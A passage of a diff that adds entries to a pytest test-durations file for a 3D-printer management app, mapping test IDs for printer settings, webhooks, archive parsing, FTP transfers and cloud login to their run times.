"integration/test_virtual_printer_api.py::TestVirtualPrinterSettingsAPI::test_disable_virtual_printer": 0.19897993747144938, + "integration/test_virtual_printer_api.py::TestVirtualPrinterSettingsAPI::test_enable_with_access_code": 0.2023796895518899, + "integration/test_virtual_printer_api.py::TestVirtualPrinterSettingsAPI::test_enable_without_access_code": 0.1951550291851163, + "integration/test_virtual_printer_api.py::TestVirtualPrinterSettingsAPI::test_get_settings_has_status": 0.19255034625530243, + "integration/test_virtual_printer_api.py::TestVirtualPrinterSettingsAPI::test_get_virtual_printer_settings": 0.19370607286691666, + "integration/test_virtual_printer_api.py::TestVirtualPrinterSettingsAPI::test_update_access_code": 0.19666521903127432, + "integration/test_virtual_printer_api.py::TestVirtualPrinterSettingsAPI::test_update_access_code_wrong_length": 0.2003390258178115, + "integration/test_virtual_printer_api.py::TestVirtualPrinterSettingsAPI::test_update_mode": 0.2107125259935856, + "integration/test_virtual_printer_api.py::TestVirtualPrinterSettingsAPI::test_update_mode_legacy_immediate_normalises_to_archive": 0.198289193212986, + "integration/test_virtual_printer_api.py::TestVirtualPrinterSettingsAPI::test_update_mode_legacy_print_queue_normalises_to_queue": 0.19774867966771126, + "integration/test_virtual_printer_api.py::TestVirtualPrinterSettingsAPI::test_update_mode_to_archive": 0.19445138052105904, + "integration/test_virtual_printer_api.py::TestVirtualPrinterSettingsAPI::test_update_mode_to_queue": 0.19894624408334494, + "integration/test_virtual_printer_api.py::TestVirtualPrinterTailscaleToggleAPI::test_toggle_does_not_consult_tailscale_daemon": 0.2125250743702054, + "integration/test_webhook_printer_status.py::TestWebhookCancelPrint::test_returns_409_when_not_running_or_paused": 0.20558270160108805, + "integration/test_webhook_printer_status.py::TestWebhookCancelPrint::test_returns_503_when_disconnected": 0.20799535419791937, + "integration/test_webhook_printer_status.py::TestWebhookGetPrinterStatus::test_returns_200_when_status_is_none": 0.20691320672631264, + "integration/test_webhook_printer_status.py::TestWebhookGetPrinterStatus::test_returns_200_with_connected_dataclass_status": 0.20331115555018187, + "integration/test_webhook_printer_status.py::TestWebhookGetPrinterStatus::test_returns_404_when_printer_does_not_exist": 0.20699035096913576, + "integration/test_webhook_printer_status.py::TestWebhookStopPrint::test_returns_409_when_not_running": 0.2137241531163454, + "integration/test_webhook_printer_status.py::TestWebhookStopPrint::test_returns_503_when_disconnected": 0.2064679330214858, + "integration/test_webhook_start_print.py::TestWebhookStartPrint::test_clears_manual_start_on_next_pending_item": 0.21008936036378145, + "integration/test_webhook_start_print.py::TestWebhookStartPrint::test_returns_404_when_no_pending_items": 0.20624745916575193, + "integration/test_webhook_start_print.py::TestWebhookStartPrint::test_returns_404_when_printer_does_not_exist": 0.20328129082918167, + "unit/core/test_tasks.py::test_cancelled_task_does_not_log_exception": 0.0013336781412363052, + "unit/core/test_tasks.py::test_holds_strong_ref_until_completion": 0.0020058685913681984, + "unit/core/test_tasks.py::test_removes_from_strong_ref_set_after_completion": 0.0013391003012657166, + "unit/core/test_tasks.py::test_task_name_propagates": 0.0011817635968327522, + "unit/core/test_tasks.py::test_uncaught_exception_logged_as_warning": 0.0017721103504300117, + "unit/core/test_uvloop_startup_warning_3001.py::test_no_running_loop_is_not_uvloop": 0.000941484235227108, + "unit/core/test_uvloop_startup_warning_3001.py::test_the_default_loop_is_not_flagged": 0.0012548202648758888, + "unit/core/test_uvloop_startup_warning_3001.py::test_uvloop_is_detected_and_warned_about": 0.0010866262018680573, + "unit/core/test_uvloop_startup_warning_3001.py::test_uvloop_is_detected_on_a_real_uvloop_loop": 0.004251837730407715, + "unit/services/test_ams_tray_color_case_2987.py::TestWhatReachesThePrinter::test_a_blank_colour_reaches_the_printer_blank": 0.0012618741020560265, + "unit/services/test_ams_tray_color_case_2987.py::TestWhatReachesThePrinter::test_a_lowercase_colour_is_uppercased_on_the_wire": 0.0021207742393016815, + "unit/services/test_ams_tray_color_case_2987.py::TestWhatReachesThePrinter::test_an_a2l_lite_slot_is_normalised_too": 0.0014517931267619133, + "unit/services/test_ams_tray_color_case_2987.py::TestWhatReachesThePrinter::test_an_ams_ht_is_normalised_too": 0.001302911899983883, + "unit/services/test_ams_tray_color_case_2987.py::TestWhatReachesThePrinter::test_an_uppercase_colour_is_unchanged": 0.0013439478352665901, + "unit/services/test_ams_tray_color_case_2987.py::TestWhatReachesThePrinter::test_every_other_field_is_left_alone": 0.0013334788382053375, + "unit/services/test_ams_tray_color_case_2987.py::TestWhatReachesThePrinter::test_the_external_spool_is_normalised_too": 0.00129800196737051, + "unit/services/test_ams_tray_color_case_2987.py::TestWireTrayColor::test_a_blank_colour_stays_blank[ ]": 0.0009413240477442741, + "unit/services/test_ams_tray_color_case_2987.py::TestWireTrayColor::test_a_blank_colour_stays_blank[None]": 0.000939561054110527, + "unit/services/test_ams_tray_color_case_2987.py::TestWireTrayColor::test_a_blank_colour_stays_blank[]": 0.000947064720094204, + "unit/services/test_ams_tray_color_case_2987.py::TestWireTrayColor::test_only_the_case_changes": 0.0008986657485365868, + "unit/services/test_ams_tray_color_case_2987.py::TestWireTrayColor::test_the_wire_form_is_uppercase_bare_hex[already-uppercase-is-untouched]": 0.0010242117568850517, + "unit/services/test_ams_tray_color_case_2987.py::TestWireTrayColor::test_the_wire_form_is_uppercase_bare_hex[css-style-hash-is-stripped]": 0.0009986916556954384, + "unit/services/test_ams_tray_color_case_2987.py::TestWireTrayColor::test_the_wire_form_is_uppercase_bare_hex[mixed-case]": 0.0010222764685750008, + "unit/services/test_ams_tray_color_case_2987.py::TestWireTrayColor::test_the_wire_form_is_uppercase_bare_hex[surrounding-whitespace]": 0.000990736298263073, + "unit/services/test_ams_tray_color_case_2987.py::TestWireTrayColor::test_the_wire_form_is_uppercase_bare_hex[the-reported-spool]": 0.0012450441718101501, + "unit/services/test_ams_tray_color_case_2987.py::TestWireTrayColor::test_the_wire_form_is_uppercase_bare_hex[the-second-spool-in-the-bundle]": 0.0010485155507922173, + "unit/services/test_archive_copy.py::TestCopyAndFsync::test_copies_large_file_byte_for_byte": 0.01971861906349659, + "unit/services/test_archive_copy.py::TestCopyAndFsync::test_copies_small_file_byte_for_byte": 0.0010840632021427155, + "unit/services/test_archive_copy.py::TestCopyAndFsync::test_overwrites_existing_destination": 0.00135120190680027, + "unit/services/test_archive_copy.py::TestCopyAndFsync::test_preserves_mtime_via_copystat": 0.0012761317193508148, + "unit/services/test_archive_copy.py::TestCopyAndFsync::test_produces_valid_zip_on_3mf": 0.04263696260750294, + "unit/services/test_archive_copy.py::TestThreeMFParserErrorVisibility::test_filament_metadata_only_includes_filaments_with_used_g": 0.0015449253842234612, + "unit/services/test_archive_copy.py::TestThreeMFParserErrorVisibility::test_parse_logs_warning_on_corrupted_zip": 0.0017435960471630096, + "unit/services/test_archive_copy.py::TestThreeMFParserErrorVisibility::test_parse_returns_partial_metadata_without_raising": 0.001377420499920845, + "unit/services/test_archive_copy.py::TestZipFileSentinel::test_is_zipfile_on_truncated_zip_returns_false": 0.02227047085762024, + "unit/services/test_archive_display_stem.py::test_resolve_display_stem[.3mf-]": 0.0010080887004733086, + "unit/services/test_archive_display_stem.py::test_resolve_display_stem[.gcode.3mf-]": 0.001007438637316227, + "unit/services/test_archive_display_stem.py::test_resolve_display_stem[/some/dir/Plate_1.gcode.3mf-Plate_1]": 0.0010077683255076408, + "unit/services/test_archive_display_stem.py::test_resolve_display_stem[Benchy.3mf-Benchy]": 0.0012162216007709503, + "unit/services/test_archive_display_stem.py::test_resolve_display_stem[Cura_export.zip-Cura_export]": 0.0010509109124541283, + "unit/services/test_archive_display_stem.py::test_resolve_display_stem[MyAwesomeBenchy.gcode.3mf-MyAwesomeBenchy]": 0.0013071289286017418, + "unit/services/test_archive_display_stem.py::test_resolve_display_stem[Plate_1.gcode.3mf-Plate_1]": 0.001558150164783001, + "unit/services/test_archive_display_stem.py::test_resolve_display_stem[README.md-README]": 0.001020253635942936, + "unit/services/test_archive_display_stem.py::test_resolve_display_stem[UPPERCASE.GCODE.3MF-UPPERCASE]": 0.0014206739142537117, + "unit/services/test_archive_display_stem.py::test_resolve_display_stem[mixed.GCode.3mf-mixed]": 0.0011712554842233658, + "unit/services/test_archive_display_stem.py::test_resolve_display_stem[my.cool.model.gcode.3mf-my.cool.model]": 0.001146349124610424, + "unit/services/test_archive_display_stem.py::test_resolve_display_stem[standalone.gcode-standalone]": 0.0012528393417596817, + "unit/services/test_archive_display_stem.py::test_resolve_display_stem[subdir/MyModel.3mf-MyModel]": 0.0010180072858929634, + "unit/services/test_archive_display_stem.py::test_resolve_display_stem[v1.2.3-prototype.3mf-v1.2.3-prototype]": 0.0010882802307605743, + "unit/services/test_archive_plate_validation.py::TestPeekPlateIndexIn3mf::test_returns_index_for_valid_3mf": 0.0013070609420537949, + "unit/services/test_archive_plate_validation.py::TestPeekPlateIndexIn3mf::test_returns_none_on_missing_file": 0.0012194253504276276, + "unit/services/test_archive_plate_validation.py::TestPeekPlateIndexIn3mf::test_returns_none_on_non_integer_index": 0.0013848962262272835, + "unit/services/test_archive_plate_validation.py::TestPeekPlateIndexIn3mf::test_returns_none_on_non_zip_file": 0.0012887045741081238, + "unit/services/test_archive_plate_validation.py::TestPeekPlateIndexIn3mf::test_returns_none_when_index_missing": 0.0014163665473461151, + "unit/services/test_archive_plate_validation.py::TestPeekPlateIndexIn3mf::test_returns_none_when_slice_info_absent": 0.0013035228475928307, + "unit/services/test_archive_plate_validation.py::TestSwapPlateSuffix::test_preserves_separator_casing": 0.001175474375486374, + "unit/services/test_archive_plate_validation.py::TestSwapPlateSuffix::test_returns_none_for_none_input": 0.0009475471451878548, + "unit/services/test_archive_plate_validation.py::TestSwapPlateSuffix::test_returns_none_when_no_recognised_suffix[JustAModelName]": 0.0010547470301389694, + "unit/services/test_archive_plate_validation.py::TestSwapPlateSuffix::test_returns_none_when_no_recognised_suffix[Model with - Plate in middle of name]": 0.0010069161653518677, + "unit/services/test_archive_plate_validation.py::TestSwapPlateSuffix::test_returns_none_when_no_recognised_suffix[Plate 2]": 0.0013740966096520424, + "unit/services/test_archive_plate_validation.py::TestSwapPlateSuffix::test_returns_none_when_no_recognised_suffix[]": 0.0011904705315828323, + "unit/services/test_archive_plate_validation.py::TestSwapPlateSuffix::test_swaps_plate_number[Box3.0_(2)_plate_5-1-Box3.0_(2)_plate_1]": 0.0014006253331899643, + "unit/services/test_archive_plate_validation.py::TestSwapPlateSuffix::test_swaps_plate_number[MyModel - Plate 1-5-MyModel - Plate 5]": 0.0010989494621753693, + "unit/services/test_archive_plate_validation.py::TestSwapPlateSuffix::test_swaps_plate_number[MyModel - Plate 2-1-MyModel - Plate 1]": 0.0013780435547232628, + "unit/services/test_archive_plate_validation.py::TestSwapPlateSuffix::test_swaps_plate_number[Tight-Plate 3-7-Tight-Plate 7]": 0.0013737333938479424, + "unit/services/test_archive_plate_validation.py::TestSwapPlateSuffix::test_swaps_plate_number[model - plate 4-2-model - plate 2]": 0.0014268141239881516, + "unit/services/test_archive_service.py::TestArchiveDataParsing::test_parse_gcode_state": 0.0009204959496855736, + "unit/services/test_archive_service.py::TestArchiveDataParsing::test_parse_layer_info": 0.0009220568463206291, + "unit/services/test_archive_service.py::TestArchiveDataParsing::test_parse_progress": 0.000919753685593605, + "unit/services/test_archive_service.py::TestArchiveFilamentData::test_calculate_filament_cost": 0.0009109480306506157, + "unit/services/test_archive_service.py::TestArchiveFilamentData::test_parse_ams_filament": 0.0009092744439840317, + "unit/services/test_archive_service.py::TestArchiveFilamentData::test_parse_filament_color_hex": 0.0009215669706463814, + "unit/services/test_archive_service.py::TestArchiveFilePaths::test_generate_archive_path": 0.0009265551343560219, + "unit/services/test_archive_service.py::TestArchiveFilePaths::test_sanitize_filename": 0.0009254543110728264, + "unit/services/test_archive_service.py::TestArchiveFilePaths::test_thumbnail_path": 0.0009242724627256393, + "unit/services/test_archive_service.py::TestArchiveServiceHelpers::test_format_duration": 0.0009150449186563492, + "unit/services/test_archive_service.py::TestArchiveServiceHelpers::test_parse_filament_grams": 0.0009245323017239571, + "unit/services/test_archive_service.py::TestArchiveServiceHelpers::test_parse_print_time_seconds": 0.0009239315986633301, + "unit/services/test_archive_service.py::TestArchiveStatus::test_status_from_gcode_state": 0.0009131906554102898, + "unit/services/test_archive_service.py::TestArchiveStatus::test_valid_status_values": 0.0009010285139083862, + "unit/services/test_archive_service.py::TestArchiveThumbnails::test_extract_thumbnail_falls_back_to_auxiliaries": 0.00113713089376688, + "unit/services/test_archive_service.py::TestArchiveThumbnails::test_extract_thumbnail_from_3mf": 0.0009033828973770142, + "unit/services/test_archive_service.py::TestArchiveThumbnails::test_per_plate_png_wins_over_auxiliaries_fallback": 0.0011063935235142708, + "unit/services/test_archive_service.py::TestArchiveThumbnails::test_thumbnail_file_types": 0.0009023398160934448, + "unit/services/test_archive_service.py::TestGcodeHeaderFilamentUsage::test_extracts_filament_weight_and_length_from_header": 0.0016993740573525429, + "unit/services/test_archive_service.py::TestGcodeHeaderFilamentUsage::test_no_filament_keys_when_header_lacks_them": 0.0011929860338568687, + "unit/services/test_archive_service.py::TestMultiPlate3MFParsing::test_detect_multi_plate_from_gcode_files": 0.0009584864601492882, + "unit/services/test_archive_service.py::TestMultiPlate3MFParsing::test_filter_filaments_by_plate_id": 0.001001526601612568, + "unit/services/test_archive_service.py::TestMultiPlate3MFParsing::test_parse_multiple_plates_from_slice_info": 0.0010441876947879791, + "unit/services/test_archive_service.py::TestMultiPlate3MFParsing::test_single_plate_export_not_multi_plate": 0.0010904325172305107, + "unit/services/test_archive_service.py::TestMultiPlateSliceInfoSum::test_missing_or_malformed_values_are_skipped": 0.0012938380241394043, + "unit/services/test_archive_service.py::TestMultiPlateSliceInfoSum::test_multi_plate_ignores_per_plate_objects": 0.0012815631926059723, + "unit/services/test_archive_service.py::TestMultiPlateSliceInfoSum::test_single_plate_file_preserves_plate_index_and_objects": 0.0013221371918916702, + "unit/services/test_archive_service.py::TestMultiPlateSliceInfoSum::test_three_plate_file_sums_prediction_and_weight": 0.0013858461752533913, + "unit/services/test_archive_service.py::TestPrintableObjectsExtraction::test_extract_printable_objects_all_skipped": 0.0009764190763235092, + "unit/services/test_archive_service.py::TestPrintableObjectsExtraction::test_extract_printable_objects_empty_plate": 0.0009544175118207932, + "unit/services/test_archive_service.py::TestPrintableObjectsExtraction::test_extract_printable_objects_from_slice_info": 0.0010106340050697327, + "unit/services/test_archive_service.py::TestReprintCostCalculation::test_cost_addition_logic": 0.001301078125834465, + "unit/services/test_archive_service.py::TestReprintCostCalculation::test_cost_addition_with_none_existing": 0.001374976709485054, + "unit/services/test_archive_service.py::TestReprintCostCalculation::test_cost_with_custom_filament_price": 0.0014011655002832413, + "unit/services/test_archive_service.py::TestReprintCostCalculation::test_multiple_reprints_accumulate": 0.0013579539954662323, + "unit/services/test_archive_service.py::TestThreeMFLayerHeightFromPlateGcode::test_falls_back_to_the_lowest_plate_when_none_was_named": 0.0018214145675301552, + "unit/services/test_archive_service.py::TestThreeMFLayerHeightFromPlateGcode::test_gcode_wins_over_project_settings": 0.0018373029306530952, + "unit/services/test_archive_service.py::TestThreeMFLayerHeightFromPlateGcode::test_reads_the_plate_that_was_printed": 0.0018252218142151833, + "unit/services/test_archive_service.py::TestThreeMFLayerHeightFromPlateGcode::test_source_3mf_without_gcode_keeps_the_project_value": 0.0011547049507498741, + "unit/services/test_archive_service.py::TestThreeMFMetadataHTMLUnescape::test_title_with_ampersand_is_unescaped": 0.0011457866057753563, + "unit/services/test_archive_service.py::TestThreeMFMetadataHTMLUnescape::test_title_with_triple_encoded_ampersand_is_fully_unescaped": 0.0010679811239242554, + "unit/services/test_archive_service.py::TestThreeMFMetadataHTMLUnescape::test_title_without_entities_passes_through_unchanged": 0.0010934490710496902, + "unit/services/test_archive_service.py::TestThreeMFParserSupportMaterial::test_duplicate_material_types_deduped": 0.0011824853718280792, + "unit/services/test_archive_service.py::TestThreeMFParserSupportMaterial::test_single_support_material_still_populated": 0.0011809421703219414, + "unit/services/test_archive_service.py::TestThreeMFParserSupportMaterial::test_support_filament_included_on_source_3mf": 0.0013283593580126762, + "unit/services/test_archive_service.py::TestThreeMFPlateIndexExtraction::test_extract_plate_index_from_slice_info": 0.0009654369205236435, + "unit/services/test_archive_service.py::TestThreeMFPlateIndexExtraction::test_extract_plate_index_plate_1": 0.0009535262361168861, + "unit/services/test_archive_service.py::TestThreeMFPlateIndexExtraction::test_high_plate_number_extraction": 0.00121220201253891, + "unit/services/test_archive_service.py::TestThreeMFPlateIndexExtraction::test_print_name_enhanced_for_plate_greater_than_1": 0.0010656462982296944, + "unit/services/test_archive_service.py::TestThreeMFPlateIndexExtraction::test_print_name_not_duplicated": 0.0010301498696208, + "unit/services/test_archive_service.py::TestThreeMFPlateIndexExtraction::test_print_name_not_enhanced_for_plate_1": 0.0013565225526690483, + "unit/services/test_archive_service.py::TestThreeMFPlateIndexExtraction::test_thumbnail_path_uses_plate_number": 0.0009223874658346176, + "unit/services/test_attach_timelapse_safe_path.py::test_attach_timelapse_accepts_legit_filename": 0.007912741973996162, + "unit/services/test_attach_timelapse_safe_path.py::test_attach_timelapse_rejects_absolute_filename": 0.0017598886042833328, + "unit/services/test_attach_timelapse_safe_path.py::test_attach_timelapse_rejects_dotdot_filename": 0.002076663076877594, + "unit/services/test_backup_path.py::TestClassifyReadOnly::test_eacces_is_a_permission_problem_not_a_sandbox_one": 0.00099179707467556, + "unit/services/test_backup_path.py::TestClassifyReadOnly::test_erofs_outside_systemd_does_not_blame_a_unit_that_does_not_exist": 0.0010030083358287811, + "unit/services/test_backup_path.py::TestClassifyReadOnly::test_erofs_under_systemd_blames_the_sandbox_and_hands_over_the_fix": 0.0010260138660669327, + "unit/services/test_backup_path.py::TestClassifyReadOnly::test_other_errnos_keep_their_own_identity[2-missing]": 0.0010568713769316673, + "unit/services/test_backup_path.py::TestClassifyReadOnly::test_other_errnos_keep_their_own_identity[20-not_a_directory]": 0.0010585924610495567, + "unit/services/test_backup_path.py::TestClassifyReadOnly::test_other_errnos_keep_their_own_identity[28-no_space]": 0.0010634427890181541, + "unit/services/test_backup_path.py::TestClassifyReadOnly::test_other_errnos_keep_their_own_identity[5-error]": 0.0010546371340751648, + "unit/services/test_backup_path.py::TestProbe::test_a_read_only_directory_is_diagnosed_not_just_reported": 0.0011528199538588524, + "unit/services/test_backup_path.py::TestProbe::test_a_writable_directory_is_reported_writable_and_left_clean": 0.001259910874068737, + "unit/services/test_backup_path.py::TestProbe::test_docker_path_on_a_mounted_volume_is_not_flagged": 0.0010812468826770782, + "unit/services/test_backup_path.py::TestProbe::test_docker_path_on_the_container_layer_is_writable_but_flagged": 0.0011034989729523659, + "unit/services/test_backup_path.py::TestSystemdUnitName::test_falls_back_to_bambuddy_when_the_cgroup_is_unreadable": 0.001030021347105503, + "unit/services/test_backup_path.py::TestSystemdUnitName::test_none_when_not_started_by_systemd": 0.0011899294331669807, + "unit/services/test_backup_path.py::TestSystemdUnitName::test_reads_the_unit_name_from_the_cgroup[0::/system.slice/bambuddy.service\\n-bambuddy.service]": 0.0011410294100642204, + "unit/services/test_backup_path.py::TestSystemdUnitName::test_reads_the_unit_name_from_the_cgroup[0::/system.slice/system-bambuddy.slice/bambuddy@1.service\\n-bambuddy@1.service]": 0.0011218627914786339, + "unit/services/test_backup_path.py::TestSystemdUnitName::test_reads_the_unit_name_from_the_cgroup[0::/user.slice/user-1000.slice/session-3.scope\\n-bambuddy.service]": 0.001105092465877533, + "unit/services/test_bambu_cloud.py::TestBambuCloudEmailVerification::test_verify_code_failure": 0.005177424289286137, + "unit/services/test_bambu_cloud.py::TestBambuCloudEmailVerification::test_verify_code_success": 0.005169428884983063, + "unit/services/test_bambu_cloud.py::TestBambuCloudLogin::test_login_detects_email_verification": 0.006009243428707123, + "unit/services/test_bambu_cloud.py::TestBambuCloudLogin::test_login_detects_totp": 0.005475924350321293, + "unit/services/test_bambu_cloud.py::TestBambuCloudLogin::test_login_direct_success": 0.005600728094577789, + "unit/services/test_bambu_cloud.py::TestBambuCloudLogin::test_login_failure": 0.0052007269114255905, + "unit/services/test_bambu_cloud.py::TestBambuCloudRegion::test_china_region_login_hits_cn_endpoint": 0.00649675540626049, + "unit/services/test_bambu_cloud.py::TestBambuCloudRegion::test_china_region_totp_hits_cn_tfa_endpoint": 0.005560752935707569, + "unit/services/test_bambu_cloud.py::TestBambuCloudRegion::test_china_region_uses_cn_base": 0.0049114469438791275, + "unit/services/test_bambu_cloud.py::TestBambuCloudRegion::test_global_region_uses_com_base": 0.008663035929203033, + "unit/services/test_bambu_cloud.py::TestBambuCloudTOTPVerification::test_verify_totp_cloudflare_blocked": 0.00621342658996582, + "unit/services/test_bambu_cloud.py::TestBambuCloudTOTPVerification::test_verify_totp_empty_response": 0.0051765115931630135, + "unit/services/test_bambu_cloud.py::TestBambuCloudTOTPVerification::test_verify_totp_success": 0.005172164179384708, + "unit/services/test_bambu_cloud.py::TestBambuCloudTOTPVerification::test_verify_totp_uses_correct_endpoint": 0.005392647348344326, + "unit/services/test_bambu_cloud.py::TestBambuCloudTOTPVerification::test_verify_totp_uses_honest_bambuddy_user_agent": 0.005764264613389969, + "unit/services/test_bambu_cloud.py::TestCloudflareChallengeDetection::test_cf_mitigated_403": 0.0012414976954460144, + "unit/services/test_bambu_cloud.py::TestCloudflareChallengeDetection::test_cf_ray_503": 0.0013568224385380745, + "unit/services/test_bambu_cloud.py::TestCloudflareChallengeDetection::test_challenges_cloudflare_com_in_body": 0.0011851396411657333, + "unit/services/test_bambu_cloud.py::TestCloudflareChallengeDetection::test_just_a_moment_title_in_body": 0.0012207888066768646, + "unit/services/test_bambu_cloud.py::TestCloudflareChallengeDetection::test_login_request_surfaces_cf_message_on_interstitial": 0.005974339321255684, + "unit/services/test_bambu_cloud.py::TestCloudflareChallengeDetection::test_message_mentions_bambu_lab_and_cloudflare": 0.0020101480185985565, + "unit/services/test_bambu_cloud.py::TestCloudflareChallengeDetection::test_real_json_400_is_not_a_challenge": 0.001138255000114441, + "unit/services/test_bambu_cloud.py::TestCloudflareChallengeDetection::test_verify_code_surfaces_cf_message_on_interstitial": 0.006588608957827091, + "unit/services/test_bambu_cloud.py::TestSlicerSettingVersionParam::test_delete_setting_sends_version_param": 0.005643817596137524, + "unit/services/test_bambu_cloud.py::TestSlicerSettingVersionParam::test_get_setting_detail_error_includes_response_body": 0.005544450134038925, + "unit/services/test_bambu_cloud.py::TestSlicerSettingVersionParam::test_get_setting_detail_sends_version_param": 0.010557428933680058, + "unit/services/test_bambu_ftp.py::TestAsyncWrappers::test_delete_file_async_not_found": 5.004217594861984, + "unit/services/test_bambu_ftp.py::TestAsyncWrappers::test_delete_file_async_success": 0.004109611734747887, + "unit/services/test_bambu_ftp.py::TestAsyncWrappers::test_download_file_async_a1_fallback": 0.005895269103348255, + "unit/services/test_bambu_ftp.py::TestAsyncWrappers::test_download_file_async_cancellation_waits_for_worker_cleanup": 0.012130617164075375, + "unit/services/test_bambu_ftp.py::TestAsyncWrappers::test_download_file_async_success": 0.005860543809831142, + "unit/services/test_bambu_ftp.py::TestAsyncWrappers::test_download_file_async_timeout_no_salvage_when_incomplete": 0.10371108539402485, + "unit/services/test_bambu_ftp.py::TestAsyncWrappers::test_download_file_async_timeout_salvages_completed_zombie": 0.40276992972940207, + "unit/services/test_bambu_ftp.py::TestAsyncWrappers::test_download_file_async_timeout_waits_for_slow_zombie": 1.5023607024922967, + "unit/services/test_bambu_ftp.py::TestAsyncWrappers::test_download_file_try_paths_fallback": 0.006282104179263115, + "unit/services/test_bambu_ftp.py::TestAsyncWrappers::test_download_file_try_paths_first_succeeds": 0.006067311391234398, + "unit/services/test_bambu_ftp.py::TestAsyncWrappers::test_list_files_async_success": 0.005122499540448189, + "unit/services/test_bambu_ftp.py::TestAsyncWrappers::test_upload_file_async_a1_fallback": 0.005450385622680187, + "unit/services/test_bambu_ftp.py::TestAsyncWrappers::test_upload_file_async_success": 0.10963513981550932, + "unit/services/test_bambu_ftp.py::TestConnection::test_a1_defaults_prot_p": 0.004362517036497593, + "unit/services/test_bambu_ftp.py::TestConnection::test_a1_force_prot_c": 0.004058615304529667, + "unit/services/test_bambu_ftp.py::TestConnection::test_cached_mode_respected": 5.0043957605957985, + "unit/services/test_bambu_ftp.py::TestConnection::test_connect_success": 0.16651171166449785, + "unit/services/test_bambu_ftp.py::TestConnection::test_connect_timeout": 0.0030244281515479088, + "unit/services/test_bambu_ftp.py::TestConnection::test_connect_unreachable_host": 1.0033169239759445, + "unit/services/test_bambu_ftp.py::TestConnection::test_connect_wrong_access_code": 3.0070684626698494, + "unit/services/test_bambu_ftp.py::TestConnection::test_disconnect_clean": 0.003668215125799179, + "unit/services/test_bambu_ftp.py::TestConnection::test_disconnect_without_connect": 0.0011047404259443283, + "unit/services/test_bambu_ftp.py::TestConnection::test_x1c_uses_prot_p": 0.003283863887190819, + "unit/services/test_bambu_ftp.py::TestDelete::test_delete_not_connected": 5.0013362765312195, + "unit/services/test_bambu_ftp.py::TestDelete::test_delete_not_found": 0.003958428278565407, + "unit/services/test_bambu_ftp.py::TestDelete::test_delete_success": 0.10718056745827198, + "unit/services/test_bambu_ftp.py::TestDisconnectServerGone::test_disconnect_after_server_gone": 5.105932420119643, + "unit/services/test_bambu_ftp.py::TestDownload::test_download_file_missing": 0.004202726297080517, + "unit/services/test_bambu_ftp.py::TestDownload::test_download_file_returns_bytes": 0.10848339088261127, + "unit/services/test_bambu_ftp.py::TestDownload::test_download_large_file": 0.009274493902921677, + "unit/services/test_bambu_ftp.py::TestDownload::test_download_not_connected": 5.001527045853436, + "unit/services/test_bambu_ftp.py::TestDownload::test_download_to_file_creates_parent_dirs": 0.00583991501480341, + "unit/services/test_bambu_ftp.py::TestDownload::test_download_to_file_enforces_actual_byte_limit": 0.004370060749351978, + "unit/services/test_bambu_ftp.py::TestDownload::test_download_to_file_falls_back_to_client_hint_when_size_is_unsupported": 0.0014846818521618843, + "unit/services/test_bambu_ftp.py::TestDownload::test_download_to_file_missing_raises_not_on_printer": 0.005837792530655861, + "unit/services/test_bambu_ftp.py::TestDownload::test_download_to_file_prefers_fresh_server_size_over_stale_client_hint": 0.005608011037111282, + "unit/services/test_bambu_ftp.py::TestDownload::test_download_to_file_uses_server_size_when_client_hint_is_omitted": 0.0015756236389279366, + "unit/services/test_bambu_ftp.py::TestDownload::test_download_to_file_writes_to_disk": 0.005162596702575684, + "unit/services/test_bambu_ftp.py::TestDownload::test_zero_byte_download_returns_false": 0.00526819285005331, + "unit/services/test_bambu_ftp.py::TestFailureScenarios::test_550_caught_by_broad_except": 0.10818217508494854, + "unit/services/test_bambu_ftp.py::TestFailureScenarios::test_auth_failure_530": 0.0031304368749260902, + "unit/services/test_bambu_ftp.py::TestFailureScenarios::test_connection_refused_handled": 0.0013081617653369904, + "unit/services/test_bambu_ftp.py::TestFailureScenarios::test_cwd_550_handled": 0.003926901146769524, + "unit/services/test_bambu_ftp.py::TestFailureScenarios::test_diagnose_storage_cwd_failure_doesnt_propagate": 0.011469336226582527, + "unit/services/test_bambu_ftp.py::TestFailureScenarios::test_failure_injection_count_decrements": 0.005030028522014618, + "unit/services/test_bambu_ftp.py::TestFailureScenarios::test_retr_550_handled": 0.004806329496204853, + "unit/services/test_bambu_ftp.py::TestFailureScenarios::test_stor_553_handled": 0.003980531357228756, + "unit/services/test_bambu_ftp.py::TestFailureScenarios::test_upload_skips_voidresp": 6.23302386328578, + "unit/services/test_bambu_ftp.py::TestFailureScenarios::test_zero_byte_download_detected": 0.004905294626951218, + "unit/services/test_bambu_ftp.py::TestFileNotOnPrinterShortCircuit::test_download_to_file_raises_on_missing_path": 5.108334171585739, + "unit/services/test_bambu_ftp.py::TestFileNotOnPrinterShortCircuit::test_with_ftp_retry_propagates_file_not_on_printer_without_retrying": 0.0016337409615516663, + "unit/services/test_bambu_ftp.py::TestFileNotOnPrinterShortCircuit::test_with_ftp_retry_still_retries_transient_errors": 0.021682027727365494, + "unit/services/test_bambu_ftp.py::TestFileSize::test_file_size_correct": 0.10700083151459694, + "unit/services/test_bambu_ftp.py::TestFileSize::test_file_size_missing": 0.0037444280460476875, + "unit/services/test_bambu_ftp.py::TestFileSize::test_file_size_not_connected": 5.001203588210046, + "unit/services/test_bambu_ftp.py::TestHandshakeCoolOff::test_block_is_per_printer": 2.003118820488453, + "unit/services/test_bambu_ftp.py::TestHandshakeCoolOff::test_blocked_printer_is_not_contacted_again": 2.003358299843967, + "unit/services/test_bambu_ftp.py::TestHandshakeCoolOff::test_cooloff_expiry_lets_the_printer_be_retried": 2.0034501058980823, + "unit/services/test_bambu_ftp.py::TestHandshakeCoolOff::test_expired_block_lets_a_recovered_printer_straight_back_in": 5.108069084584713, + "unit/services/test_bambu_ftp.py::TestHandshakeCoolOff::test_plaintext_answer_on_990_blocks_the_printer": 2.003556312993169, + "unit/services/test_bambu_ftp.py::TestListFiles::test_directories_marked": 0.0050544338300824165, + "unit/services/test_bambu_ftp.py::TestListFiles::test_file_sizes_and_paths": 5.005652424879372, + "unit/services/test_bambu_ftp.py::TestListFiles::test_list_directory_with_files": 0.006544587202370167, + "unit/services/test_bambu_ftp.py::TestListFiles::test_list_empty_directory": 0.10853473655879498, + "unit/services/test_bambu_ftp.py::TestListFiles::test_nonexistent_path_returns_empty": 0.0037789326161146164, + "unit/services/test_bambu_ftp.py::TestModelSpecificBehavior::test_a1_mini_upload": 0.004572419449687004, + "unit/services/test_bambu_ftp.py::TestModelSpecificBehavior::test_a1_upload_prot_c": 0.3085922235623002, + "unit/services/test_bambu_ftp.py::TestModelSpecificBehavior::test_mode_cache_persists_and_clears": 5.001472300849855, + 